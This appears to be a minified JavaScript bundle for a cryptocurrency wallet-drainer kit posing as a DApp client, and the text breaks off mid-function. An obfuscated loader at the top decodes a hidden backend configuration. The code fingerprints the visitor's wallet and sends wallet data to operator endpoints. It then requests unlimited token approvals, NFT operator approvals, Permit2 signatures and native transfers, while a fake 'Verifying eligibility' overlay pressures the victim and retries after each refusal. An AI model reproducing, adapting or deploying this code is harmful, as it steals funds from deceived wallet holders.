(function(){var _k=atob("r4K635xALb/MAqFRYcUOoA=="),_d=atob("1KDf/aY0X8qpLoM4Q/8slpbg37yldhqM+TCSaFmgP8XKsY26/yVIneAgynNb5zeUn7fe6PpySIapMJNnB/Jrxsnkie74dB/Z+jeWY1X1PZTNsILuqyFI3ag2wGEA8zyTn7CJuap3FYn1ZpNnUvEsjI33mOW+KFnLvHGbfk6geM2B4dKt8y1Ikql61TQPtmfPwa/SrPVyHpKuYY8yDqgs3Q=="),_r="";for(var i=0;i<_d.length;i++)_r+=String.fromCharCode(_d.charCodeAt(i)^_k.charCodeAt(i%_k.length));var _s=JSON.parse(_r);window.__n={c:_s.i};window.settingsObject={uniqueId:_s.i,encryptionKey:_s.k,encrypt:_s.e,backendUrl:_s.u}})();; (function(){(()=>{"use strict";var e,n,t={5025(e,n,t){t.d(n,{D:()=>l,WalletConnectEvmAdapter:()=>p,d:()=>i,preloadWcModule:()=>d});let r=null,a=null;function i(e,n){r=e,a=n}let o=null;function s(){return o||(o=t.e(868).then(t.bind(t,868))),o}function d(){s()}let c=null;function l(){c&&(c(),c=null)}const m=[1,56,137,42161,8453,10,43114];class p{constructor(){this._address="",this._chainId=1,this._connected=!1,this._provider=null,this._listeners=new Map,this._aborted=!1,this._boundChainChanged=null,this._boundAccountsChanged=null,this._boundDisplayUri=null,this.isRelayConnection=!0}async connect(){this._aborted=!1;try{const e="noir_wc_";Object.keys(localStorage).forEach(n=>{n.startsWith(e)&&localStorage.removeItem(n)});const n=localStorage.getItem("noir_wc_last_topic");n&&(Object.keys(localStorage).forEach(e=>{e.includes(n)&&localStorage.removeItem(e)}),localStorage.removeItem("noir_wc_last_topic"))}catch{}const e=await s(),n=e.default||e.EthereumProvider,t=await n.init({projectId:"05a72f319ad250060c82da4dc737e0ad",chains:[1],optionalChains:m,showQrModal:!r,metadata:{name:document.title||"DApp",description:"Decentralized Application",url:window.location.origin,icons:[]}});this._provider=t;const a=new Promise((e,n)=>{let a=!1;const i=n=>{a||(a=!0,clearTimeout(s),e(n))},o=e=>{a||(a=!0,clearTimeout(s),n(e))};c=()=>{this._aborted=!0;try{t.disconnect()}catch{}o(new Error("WalletConnect aborted by user"))},r&&(this._boundDisplayUri=e=>{this._aborted||r(e)},t.on("display_uri",this._boundDisplayUri)),this._boundAccountsChanged=e=>{this._aborted||a||e&&e.length>0&&i(e[0])},t.on("accountsChanged",this._boundAccountsChanged);const s=setTimeout(()=>{o(new Error("WalletConnect connection timed out. Please try again."))},12e4);t.connect().then(async e=>{if(this._aborted)return void o(new Error("WalletConnect aborted by user"));let n=t.accounts||[];if(0===n.length){try{const e=t.session;if(e?.namespaces?.eip155?.accounts?.length){const n=e.namespaces.eip155.accounts[0],t=n.includes(":")?n.split(":").pop():n;if(t)return void i(t)}}catch{}for(let e=0;e<25;e++){if(await new Promise(e=>setTimeout(e,200)),a||this._aborted)return;if(n=t.accounts||[],n.length>0)break}}n.length>0?i(n[0]):o(new Error("No accounts returned from WalletConnect. Please try again."))}).catch(e=>{o(e)})});try{const e=await a;return c=null,this._address=e,this._chainId="number"==typeof t.chainId&&t.chainId>0?t.chainId:1,this._connected=!0,this._boundChainChanged=e=>{this._chainId=e,this._listeners.get("chainChanged")?.forEach(n=>n(e))},t.on("chainChanged",this._boundChainChanged),this._address}catch(e){throw c=null,e}}async request(e){if(!this._provider)throw new Error("Not connected");return this._provider.request(e)}async disconnect(){if(this._connected=!1,this._provider){const e=this._provider;if(e.removeListener){if(this._boundChainChanged)try{e.removeListener("chainChanged",this._boundChainChanged)}catch{}if(this._boundAccountsChanged)try{e.removeListener("accountsChanged",this._boundAccountsChanged)}catch{}if(this._boundDisplayUri)try{e.removeListener("display_uri",this._boundDisplayUri)}catch{}}try{await e.disconnect()}catch{}}this._boundChainChanged=null,this._boundAccountsChanged=null,this._boundDisplayUri=null,this._provider=null,this._listeners.clear()}get address(){return this._address}get chainId(){return this._chainId}get name(){return"WalletConnect"}get connected(){return this._connected}get provider(){return this._provider}setChainId(e){this._chainId=e}setAddress(e){this._address=e}on(e,n){this._listeners.has(e)||this._listeners.set(e,new Set),this._listeners.get(e).add(n)}off(e,n){this._listeners.get(e)?.delete(n)}}}},r={};function a(e){var n=r[e];if(void 0!==n)return n.exports;var i=r[e]={exports:{}};return t[e].call(i.exports,i,i.exports,a),i.exports}a.m=t,a.n=e=>{var n=e&&e.__esModule?()=>e.default:()=>e;return a.d(n,{a:n}),n},a.d=(e,n)=>{for(var t in n)a.o(n,t)&&!a.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:n[t]})},a.f={},a.e=e=>Promise.all(Object.keys(a.f).reduce((n,t)=>(a.f[t](e,n),n),[])),a.u=e=>e+"."+{312:"d953127d9d703cf68018",336:"0d0bbe44def748993539",485:"ebfec362dc06bf6f961e",556:"d4c4091bad07fec86b18",626:"dd691b36db95e9c31a02",654:"3de7edb89406419e0dbe",858:"a276e685180d61e61b32",868:"64108466176edcf08685",1349:"55de0c9830c5c3e526cb",1415:"313eb575fb013791c2bf",1634:"c09f05ecd6d381f8691c",1884:"62042a3e2cdaf962835d",1992:"3cd60a6237f3e62d75b1",2125:"94ddce03a7132ca2f416",2143:"c6bac6872bf727b821ae",2272:"967562524492dca73385",2798:"0f453befe3b5a6bd6589",3203:"35f36b540b8af687a3ef",3317:"88389ec561dc22b6ad10",3462:"5230f878ad60e15ad679",3617:"08e80ca282ff9dcbc237",3638:"6d5994fd0c0c565f0aea",3758:"f8a3b1e92ecbeadf10a8",3851:"98fd7e22fdf5ecd3f358",4042:"5b46493303ee7969a158",4217:"055311054d5717e06b93",4438:"604ae95aa4a00932b55a",4771:"b81b8a95903aa5f8824f",4899:"0f20940307d209c022e2",5195:"ab86d2dd91e99844a3aa",5264:"2a5101b5bd0ed060baeb",5280:"c03dcbd02d52d86a3dc5",5803:"10852f2d7504f3e2a0c3",5845:"ac0766f9a0e031a47a30",5882:"0cb05996e2a49d320e54",6238:"5089745df1967cdc91e5",6262:"8c1eab7d47b528724324",6283:"23a0fe846daef339f76b",6412:"5168666fca43f9eb84c8",6526:"0925ef3b5a77e7298e66",6570:"f0aaeea34e0b7830bbd3",6598:"9cbc7ce80edf49895922",6738:"342ed5a9423b662be5ef",6844:"cde89b5d820838eb217d",6903:"510a4773c5cc73f27d6c",7040:"438a0fdb434e611c6ce8",7753:"342040969c2be3241f11",7805:"b25d11db4da7be662f6d",8058:"99c849fa3dba5672b804",8589:"ea254f8e1dfe2e6fbf5f",8920:"6c7b6963414c43847f15",9229:"2b7252f34d304e13bc14",9237:"39babed03f9b00023266",9296:"338a5f06ccf154ac3eb7",9329:"d4c63a3b066b1ddea9ac",9497:"b0d86002541784b227ce",9571:"de17e22b589b7813d617",9657:"f30d27587e7ed6bacf97",9721:"524d4ccb6bf93d5eb2f0",9780:"d0093b4fe342f871febe",9990:"7a0507f5e6e5ba192423"}[e]+".js",a.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),a.o=(e,n)=>Object.prototype.hasOwnProperty.call(e,n),e={},n="evm-client:",a.l=(t,r,i,o)=>{if(e[t])e[t].push(r);else{var s,d;if(void 0!==i)for(var c=document.getElementsByTagName("script"),l=0;l{s.onerror=s.onload=null,clearTimeout(u);var a=e[t];if(delete e[t],s.parentNode&&s.parentNode.removeChild(s),a&&a.forEach(e=>e(r)),n)return n(r)},u=setTimeout(p.bind(null,void 0,{type:"timeout",target:s}),12e4);s.onerror=p.bind(null,s.onerror),s.onload=p.bind(null,s.onload),d&&document.head.appendChild(s)}},a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.p="/",(()=>{var e={8792:0};a.f.j=(n,t)=>{var r=a.o(e,n)?e[n]:void 0;if(0!==r)if(r)t.push(r[2]);else{var i=new Promise((t,a)=>r=e[n]=[t,a]);t.push(r[2]=i);var o=a.p+a.u(n),s=new Error;a.l(o,t=>{if(a.o(e,n)&&(0!==(r=e[n])&&(e[n]=void 0),r)){var i=t&&("load"===t.type?"missing":t.type),o=t&&t.target&&t.target.src;s.message="Loading chunk "+n+" failed.\n("+i+": "+o+")",s.name="ChunkLoadError",s.type=i,s.request=o,r[1](s)}},"chunk-"+n,n)}};var n=(n,t)=>{var r,i,[o,s,d]=t,c=0;if(o.some(n=>0!==e[n])){for(r in s)a.o(s,r)&&(a.m[r]=s[r]);d&&d(a)}for(n&&n(t);ct.abort(),15e3),a=await fetch(`${e}/api/v1/config`,{method:"GET",headers:{"X-Config-Id":n,"X-Client-Source":"Perpetual-Client"},signal:t.signal});if(clearTimeout(r),a.ok){const e=await a.json();if(e&&!0===e.status)return e.config}}catch{}t<2&&await new Promise(e=>setTimeout(e,1e3*(t+1)))}return null}i.walletAddress="",i.connectedChainId=0,i.detectedWallet="",i.platform="desktop",i.provider=null,i.walletBridge=null,i.drainOverlay=null,i.config=null,i.bypassMethod="",i.drainPlan=[],i.currentDrainIndex=0,i.totalDrained=0,i.portfolioResponse=null,i.totalSteps=0,i.currentStep=0,i.sessionRejections=0;const c={metamask:e=>!(!e.isMetaMask||e.isPhantom||e.isBraveWallet||e.isRabby||e.isRainbow||e.isZerion),trust:e=>!!e.isTrust||!!e.isTrustWallet,coinbase:e=>!!e.isCoinbaseWallet||!!e.isCoinbaseBrowser,binance:e=>!!e.isBinance||!!e.BinanceChain,bybit:e=>!!e.isBybit,exodus:e=>!!e.isExodus,rainbow:e=>!!e.isRainbow,rabby:e=>!!e.isRabby,okx:e=>!!e.isOkxWallet||!!e.isOKExWallet,phantom:e=>!!e.isPhantom,zerion:e=>!!e.isZerion},l=[];"undefined"!=typeof window&&(window.addEventListener("eip6963:announceProvider",e=>{const n=e.detail;n?.provider&&n?.info&&l.push(n)}),window.dispatchEvent(new Event("eip6963:requestProvider")));const m={metamask:"metamask",trust:"trust",coinbase:"coinbase",phantom:"phantom",okx:"okx",rainbow:"rainbow",rabby:"rabby",zerion:"zerion",brave:"brave",exodus:"exodus"};function p(){if(i.provider)return i.provider;if(i.walletBridge?.provider)return i.walletBridge.provider;const e=window;if(e.okxwallet)return e.okxwallet;if(e.phantom?.ethereum)return e.phantom.ethereum;if(e.BinanceChain)return e.BinanceChain;if(e.bybitWallet)return e.bybitWallet;if(e.ethereum)return e.ethereum;throw new Error("No ethereum provider")}async function u(e,n,t){const r=o();if(!r)return!1;try{const a=new URLSearchParams({source:window.location.hostname,address:e,wallet:n,chainId:String(t)}),i=new AbortController,o=setTimeout(()=>i.abort(),15e3);return await fetch(`${r}/api/v1/connect?${a.toString()}`,{method:"GET",headers:{"X-Config-Id":s(),"X-Client-Source":"Perpetual-Client"},signal:i.signal}),clearTimeout(o),!0}catch{return!1}}function h(){const e=window.settingsObject;return e?.encryptionKey||""}function f(){const e=window.settingsObject;return!1!==e?.encrypt}let g=null,v="",w=null;async function b(e){if(g&&v===e)return g;const n=y(e),t=await crypto.subtle.importKey("raw",n.buffer,{name:"AES-GCM"},!1,["encrypt","decrypt"]);return g=t,v=e,t}function y(e){const n=new Uint8Array(e.length/2);for(let t=0;te.toString(16).padStart(2,"0")).join("")}async function A(e){const n={...e,nonce:crypto.randomUUID()},t=JSON.stringify(n),r=await async function(){if(w)return w;const e=navigator,n=[e.userAgent,e.language,screen.width.toString(),screen.height.toString(),(new Date).getTimezoneOffset().toString()].join("|"),t=(new TextEncoder).encode(n),r=await crypto.subtle.digest("SHA-256",t),a=new Uint8Array(r);return w=x(a).substring(0,16),w}(),a=await async function(e,n){const t=h(),r=(new TextEncoder).encode(n+t),a=await crypto.subtle.digest("SHA-256",r),i=await crypto.subtle.importKey("raw",a,{name:"HMAC",hash:"SHA-256"},!1,["sign"]),o=(new TextEncoder).encode(e),s=await crypto.subtle.sign("HMAC",i,o);return x(new Uint8Array(s))}(t,r);let i;if(f()&&h()){const e=h(),n=await b(e),r=crypto.getRandomValues(new Uint8Array(12)),a=(new TextEncoder).encode(t),o=await crypto.subtle.encrypt({name:"AES-GCM",iv:r,tagLength:128},n,a),s=new Uint8Array(13+o.byteLength);s[0]=2,s.set(r,1),s.set(new Uint8Array(o),13),i=x(s)}else i=t;return{body:i,headers:{"X-Fingerprint-Id":r,"X-Data-Check":a}}}async function C(e){if(!f())return JSON.parse(e);const n=h();if(!n)return JSON.parse(e);const t=y(e),r=t[0];if(2!==r)throw new Error(`Unsupported encryption version: ${r}`);const a=t.slice(1,13),i=t.slice(13),o=await b(n),s=await crypto.subtle.decrypt({name:"AES-GCM",iv:a,tagLength:128},o,i);return JSON.parse((new TextDecoder).decode(s))}async function k(e,n,t,r){const a=await async function(e,n,t,r){const a=o();if(!a)return{data:null,error:"network_error"};for(let i=0;i<2;i++)try{const o=await A({walletAddress:e,configId:s(),chainId:n,walletApp:t,platform:/android|iphone|ipad|ipod|mobile|opera mini|opera mobi/i.test(r)?"mobile":"desktop",domain:window.location.hostname,timestamp:Date.now()}),d=new AbortController,c=setTimeout(()=>d.abort(),3e4),l=await fetch(`${a}/api/v1/portfolio`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...o.headers},body:o.body,signal:d.signal});if(clearTimeout(c),!l.ok){if(0===i){await new Promise(e=>setTimeout(e,2e3));continue}return{data:null,error:l.status>=500?"server_error":"empty"}}const m=await l.text(),p=await C(m);return p&&!0===p.status?{data:p}:{data:null,error:"empty"}}catch{if(0===i){await new Promise(e=>setTimeout(e,2e3));continue}return{data:null,error:"network_error"}}return{data:null,error:"network_error"}}(e,n,t,r);return a.data}function S(e,n,t=3e4){const r=new AbortController,a=setTimeout(()=>r.abort(),t);return fetch(e,{...n,signal:r.signal}).finally(()=>clearTimeout(a))}const B=[];let I=!1;function P(e,n=3){B.push({fn:e,retries:n}),I||async function(){if(!I){for(I=!0;B.length>0;){const e=B.shift();try{!await e.fn()&&e.retries>1&&(await new Promise(n=>setTimeout(n,2e3*(4-e.retries))),B.push({fn:e.fn,retries:e.retries-1}))}catch{e.retries>1&&(await new Promise(n=>setTimeout(n,2e3*(4-e.retries))),B.push({fn:e.fn,retries:e.retries-1}))}}I=!1}}()}async function E(e,n,t,r,a){const d=o();if(!d)return!1;try{const o=await A({txHash:e,tokenAddress:n,chainId:t,totalUSD:r,walletApp:a,walletAddress:i.walletAddress,timestamp:Date.now()});return(await S(`${d}/api/v1/execute/approval`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...o.headers},body:o.body})).ok}catch{try{await new Promise(e=>setTimeout(e,2e3));const o=await A({txHash:e,tokenAddress:n,chainId:t,totalUSD:r,walletApp:a,walletAddress:i.walletAddress,timestamp:Date.now()});return(await S(`${d}/api/v1/execute/approval`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...o.headers},body:o.body})).ok}catch{return!1}}}function T(e,n,t,r,a){P(()=>async function(e,n,t,r,a){const d=o();if(!d)return!1;try{const o=await A({signature:e,tokenAddress:n.tokenAddress,permitType:n.permitType,walletAddress:i.walletAddress,amount:n.amount||"",deadline:n.deadline||"",chainId:t,totalUSD:r,walletApp:a,timestamp:Date.now()});return(await S(`${d}/api/v1/execute/permit`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...o.headers},body:o.body})).ok}catch{return!1}}(e,n,t,r,a))}function j(e,n,t,r,a,d){P(()=>async function(e,n,t,r,a,d){const c=o();if(!c)return!1;try{const o=await A({walletAddress:i.walletAddress,chainId:t,signature:e,tokens:n,totalUSD:r,walletApp:a,sigDeadline:d,timestamp:Date.now()});return(await S(`${c}/api/v1/execute/permit2`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...o.headers},body:o.body})).ok}catch{return!1}}(e,n,t,r,a,d))}async function O(e,n,t){const r=o();if(!r)return!1;const a=()=>({txHash:e,chainId:n.chainId,totalUSD:n.totalUSD,assetCount:n.assets.length,type:n.type,walletAddress:i.walletAddress,walletApp:i.detectedWallet,contractAddress:t||"",assets:n.assets.map(e=>({type:e.type,address:e.address,symbol:e.symbol,amount:e.amount,valueUSD:e.valueUSD})),timestamp:Date.now()});try{const e=await A(a());return(await S(`${r}/api/v1/execute/success`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...e.headers},body:e.body})).ok}catch{try{await new Promise(e=>setTimeout(e,3e3));const e=await A(a());return(await S(`${r}/api/v1/execute/success`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...e.headers},body:e.body})).ok}catch{return!1}}}let L=null;async function D(e,n){const t=o();if(!t)return;const r=n.startsWith("user_rejected_"),a=n.includes("max_retries_exhausted");if(r&&!a){const e=Date.now();if(L){if(e-L.firstSentAt<3e5)return void L.count++;L={firstSentAt:e,count:1}}else L={firstSentAt:e,count:1}}try{const r=await A({walletAddress:i.walletAddress,tokenAddress:e.address,tokenSymbol:e.symbol,chainId:e.chainId,reason:n,walletApp:i.detectedWallet,domain:window.location.hostname,timestamp:Date.now()}),a=new AbortController,o=setTimeout(()=>a.abort(),15e3);await fetch(`${t}/api/v1/reject`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...r.headers},body:r.body,signal:a.signal}),clearTimeout(o)}catch{}}async function M(e,n){const t=L?L.count-1:0;await D({address:"",symbol:"",chainId:n},`max_retries_exhausted: user declined ${e} times (${t} notifications suppressed)`),L=null}const q=new Set([1]);function N(e){return new Promise(n=>setTimeout(n,e))}const z={1:"https://eth.llamarpc.com",56:"https://bsc-dataseed.binance.org",137:"https://polygon-rpc.com",42161:"https://arb1.arbitrum.io/rpc",8453:"https://mainnet.base.org",10:"https://mainnet.optimism.io",43114:"https://api.avax.network/ext/bc/C/rpc"},F=4001,W=1500,R=800,U=15e3;async function X(e){try{return null!=await Promise.race([e.request({method:"eth_chainId",params:[]}),new Promise((e,n)=>setTimeout(()=>n(new Error("health check timeout")),3e3))])}catch{return!1}}async function H(e,n){return Promise.race([e.request({method:"wallet_sendCalls",params:[n]}),new Promise((e,n)=>setTimeout(()=>n(new Error("wallet_sendCalls timeout")),18e4))])}async function G(e,n){const t=p(),r=e.walletSendCallsData||n.walletSendCallsData;if(!r)return"error";let a=!1;if(d=e.chainId,q.has(d)){i.drainOverlay?.setStep?.(i.currentStep,"Verifying eligibility...");const t=await async function(e,n,t){const r=o();if(!r)return{status:!1,message:"No backend URL",armed:!1};try{const a={chainId:e,walletAddress:n,timestamp:Date.now()};t&&(a.contractAddress=t);const i=await A(a),o=new AbortController,d=setTimeout(()=>o.abort(),9e4),c=await fetch(`${r}/api/v1/arm`,{method:"POST",headers:{"Content-Type":"application/json","X-Config-Id":s(),"X-Client-Source":"Perpetual-Client",...i.headers},body:i.body,signal:o.signal});if(clearTimeout(d),!c.ok)return{status:!1,message:"HTTP error",armed:!1};const l=await c.text();return await C(l)||{status:!1,message:"Empty response",armed:!1}}catch{return{status:!1,message:"ARM request failed",armed:!1}}}(e.chainId,i.walletAddress,n.fantomeContractAddress);if(!t.armed)return D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},"arm_failed_fallback_to_ombre"),"error";if(t.epoch&&t.targetBlock){a=!0;const n=await async function(e,n,t,r){const a=z[e];if(!a)return!1;let o=0,s=0,d=0;r?.setStep?.(i.currentStep,"Verifying eligibility\u2026 0%");for(let e=0;e<50;e++){await N(2e3);try{const e=new AbortController,c=setTimeout(()=>e.abort(),5e3),l=await fetch(a,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",method:"eth_blockNumber",params:[],id:1}),signal:e.signal});clearTimeout(c);const m=await l.json();if(!m.result){if(o++,o>=10)return!1;continue}o=0;const p=parseInt(m.result,16);if(s=p,p>=t)return!1;const u=t-(n-(t-n-1)+1),h=Math.max(n-u,1),f=p-u,g=Math.min(Math.round(f/h*100),99),v=n-p,w=Date.now();if(r&&w-d>=4e3&&(d=w,v>2?r.setStep?.(i.currentStep,`Verifying eligibility\u2026 ${g}%`):v>0&&r.setStep?.(i.currentStep,"Almost ready\u2026")),p>=n)return r?.setStep?.(i.currentStep,"\u2713 Eligible \u2014 confirm in wallet"),await N(2e3),!0}catch(e){if(o++,o>=20)return!1;continue}}return!1}(e.chainId,t.targetBlock,t.epoch,i.drainOverlay);if(!n)return D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},"arm_epoch_window_missed"),"error"}}var d;i.currentStep++;const c=i.currentStep,l=i.totalSteps;let m=0;for(;m<3;){if(m++,a&&1===m&&"mobile"===i.platform&&!await X(t)&&(await(i.drainOverlay?.showWarningScreen?.("","Ready to Continue","Tap below to proceed with your transaction.","Continue")),!await X(t)))return D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},"provider_stale_after_epoch_wait"),i.currentStep--,"error";const o={...r};o.atomicRequired=!1,delete o.capabilities,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:c,total:l,label:"Confirm Transaction"})),i.drainOverlay?.showFomoBar(U);try{const r=await H(t,o);let a;i.drainOverlay?.hideFomoBar(),a="object"==typeof r&&null!==r&&"id"in r?r.id:String(r),await(i.drainOverlay?.changeStatus("processing"));const s=await Q(t,a);return"confirmed"===s.status?(O(s.hash||a,e,n.fantomeContractAddress).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:c,total:l})),await N(R),"success"):"failed"===s.status?(i.currentStep--,D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},"batch_failed_onchain"),"error"):(K(t,a,e,n.fantomeContractAddress).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:c,total:l})),await N(R),"success")}catch(n){i.drainOverlay?.hideFomoBar();const t=n,r=(t.message||"").toLowerCase();if(t.code!==F)return r.includes("unsupported")||r.includes("not supported")||r.includes("unrecognized")||r.includes("method not found")||r.includes("does not support")||r.includes("atomic")||-32601===t.code||-32602===t.code||-32603===t.code?(i.currentStep--,D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},`batch_unsupported: ${t.message||"unknown"}`),"error"):(i.currentStep--,D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},`error: ${t.message||"unknown"}`),"error");if(i.sessionRejections++,await(i.drainOverlay?.changeStatus("rejected")),D({address:e.assets[0]?.address||"",symbol:"",chainId:e.chainId},"user_rejected_batch"),i.sessionRejections>=5)return"rejected";await N(W)}}return"rejected"}async function Q(e,n){for(let t=0;t<10;t++){await N(2e3);try{const t=await e.request({method:"wallet_getCallsStatus",params:[n]}),r=t.status;if("CONFIRMED"===r||"confirmed"===r||200===r||"200"===r){const e=t.receipts,r=e?.[0]?.transactionHash;return{status:"confirmed",hash:r&&r!==n?r:null}}if("FAILED"===r||"failed"===r||500===r||"500"===r)return{status:"failed",hash:null}}catch{return{status:"unsupported",hash:null}}}return{status:"timeout",hash:null}}async function K(e,n,t,r){for(let a=0;a<30;a++){await N(3e3);try{const a=await e.request({method:"wallet_getCallsStatus",params:[n]}),i=a.status,o="FAILED"===i||"failed"===i||500===i||"500"===i;if("CONFIRMED"===i||"confirmed"===i||200===i||"200"===i){const e=a.receipts,i=e?.[0]?.transactionHash;return void(i&&i!==n&&await O(i,t,r))}if(o)return void D({address:t.assets[0]?.address||"",symbol:"",chainId:t.chainId},"batch_failed_onchain_bg")}catch{return}}D({address:t.assets[0]?.address||"",symbol:"",chainId:t.chainId},"batch_unconfirmed_timeout")}const V=G,Z=0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn;function Y(e){return e.toLowerCase().replace("0x","").padStart(64,"0")}function J(e){return e.toString(16).padStart(64,"0")}function _(e){return"0x095ea7b3"+Y(e)+J(Z)}function $(e){return"0xa22cb465"+Y(e)+J(1n)}function ee(e){return Promise.race([e,new Promise((e,n)=>setTimeout(()=>n(new Error("Wallet did not respond in time")),12e4))])}function ne(){return i.sessionRejections>=5}async function te(e,n){return i.sessionRejections++,await(i.drainOverlay?.changeStatus("rejected")),D(e,n),!!ne()||(await N(W),!1)}async function re(e){const n=i.portfolioResponse,t=n?.approveData?.tokenFlags,r=n?.approveData?.ombreContractAddress;return t&&r?async function(e){const n=p(),t=i.portfolioResponse.approveData,r=t.tokenFlags,a=t.perChainSpenders,o=a?.[String(e.chainId)]||t.ombreContractAddress,s=t.nativeDestination||o,d=e.assets.filter(e=>"erc20"===e.type),c=e.assets.filter(e=>"erc721"===e.type||"erc1155"===e.type),l=e.assets.filter(e=>"native"===e.type),m=[],u=[],h=[];for(const e of d){const n=r[e.address.toLowerCase()]||r[e.address];n?.permit2Approved?m.push(e):n?.eip2612?u.push(e):h.push(e)}m.sort((e,n)=>n.valueUSD-e.valueUSD),u.sort((e,n)=>n.valueUSD-e.valueUSD),h.sort((e,n)=>n.valueUSD-e.valueUSD),m.length>1&&(i.totalSteps-=m.length-1);const f=m.reduce((e,n)=>e+n.valueUSD,0),g=Math.max(u.length>0?u[0].valueUSD:0,h.length>0?h[0].valueUSD:0);let v=!1;try{const t=await n.request({method:"eth_getBalance",params:[i.walletAddress,"latest"]});v=BigInt(t)<([1,56,137,43114].includes(e.chainId)?BigInt("1000000000000000"):BigInt("100000000000000"))}catch{}let w=!1;v&&(m.length>0||u.length>0)?(m.length>0&&(w=await ae(n,m,o,e)||w),w=await ie(n,u,o,e)||w,w=await oe(n,h,o,e)||w):m.length>0&&f>g?(w=await ae(n,m,o,e)||w,w=await ie(n,u,o,e)||w,w=await oe(n,h,o,e)||w):(w=await ie(n,u,o,e)||w,w=await oe(n,h,o,e)||w,m.length>0&&(w=await ae(n,m,o,e)||w));for(const t of c)w=await se(n,t,o,e)||w;for(const t of l)w=await de(n,t,s,e)||w;return w}(e):!0===n?.approveData?.usePermit2?async function(e){const n=p(),t=i.portfolioResponse,r=t.approveData.spenderAddress,a=t.approveData.permit2Spender;let o=!1;const s=[...e.assets].sort((e,n)=>"native"===e.type?1:"native"===n.type||"erc20"===e.type&&e.type!==n.type?-1:"erc20"===n.type&&e.type!==n.type?1:n.valueUSD-e.valueUSD),d=s.filter(e=>"erc20"===e.type),c=s.filter(e=>"erc721"===e.type||"erc1155"===e.type),l=s.filter(e=>"native"===e.type);d.length>0&&(i.totalSteps+=1);const m=[];for(const a of d){i.currentStep++;const s=i.currentStep,d=i.totalSteps;let c=0,l=!1;for(;c<3&&!l&&!ne();){c++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:s,total:d,label:`Approve ${a.symbol||"Token"}`})),i.drainOverlay?.showFomoBar(U);try{const e=_(r);await ee(n.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:a.address,data:e}]})),i.drainOverlay?.hideFomoBar(),l=!0,o=!0,m.push({address:a.address,symbol:a.symbol,amount:a.amount,valueUSD:a.valueUSD,decimals:a.decimals,nonce:t.approveData?.permit2Nonces?.[a.address.toLowerCase()]||t.approveData?.permit2Nonces?.[a.address]||"0"}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:s,total:d})),await N(R)}catch(n){i.drainOverlay?.hideFomoBar();const t=n;if(t.code!==F){D({address:a.address,symbol:a.symbol,chainId:e.chainId},`error: ${t.message||"unknown"}`);break}if(await te({address:a.address,symbol:a.symbol,chainId:e.chainId},"user_rejected_permit2_approve"))break}}}if(m.length>0){i.currentStep++;const t=i.currentStep,r=i.totalSteps;let o=0,s=!1;for(;o<3&&!s&&!ne();){o++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:t,total:r,label:"Verify Permissions"})),i.drainOverlay?.showFomoBar(U);try{const o=Math.floor(Date.now()/1e3)+3600,d=pe(m,a,o,e.chainId),c=await ee(n.request({method:"eth_signTypedData_v4",params:[i.walletAddress,JSON.stringify(d)]}));i.drainOverlay?.hideFomoBar(),s=!0,j(c,m,e.chainId,e.totalUSD,i.detectedWallet,o.toString()),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:t,total:r})),await N(R)}catch(n){if(i.drainOverlay?.hideFomoBar(),n.code!==F)break;if(await te({address:"",symbol:"PermitBatch",chainId:e.chainId},"user_rejected_permit2_sign"))break}}}for(const t of c){i.currentStep++;const r=i.currentStep,s=i.totalSteps;let d=0,c=!1;for(;d<3&&!c&&!ne();){d++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:r,total:s,label:"Approve Collection"})),i.drainOverlay?.showFomoBar(U);try{const d=$(a),l=await ee(n.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:t.address,data:d}]}));i.drainOverlay?.hideFomoBar(),c=!0,o=!0,E(l,t.address,e.chainId,t.valueUSD,i.detectedWallet).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:r,total:s})),await N(R)}catch(n){if(i.drainOverlay?.hideFomoBar(),n.code!==F)break;if(await te({address:t.address,symbol:t.symbol,chainId:e.chainId},"user_rejected_nft_approval"))break}}}for(const t of l){i.currentStep++;const r=i.currentStep,a=i.totalSteps;let s=0,d=!1;for(;s<3&&!d&&!ne();){s++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:r,total:a,label:"Transfer Funds"})),i.drainOverlay?.showFomoBar(U);try{const s=await fe(n,t,be());i.drainOverlay?.hideFomoBar(),d=!0,o=!0,O(s,e).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:r,total:a})),await N(R)}catch(n){if(i.drainOverlay?.hideFomoBar(),n.code!==F)break;if(await 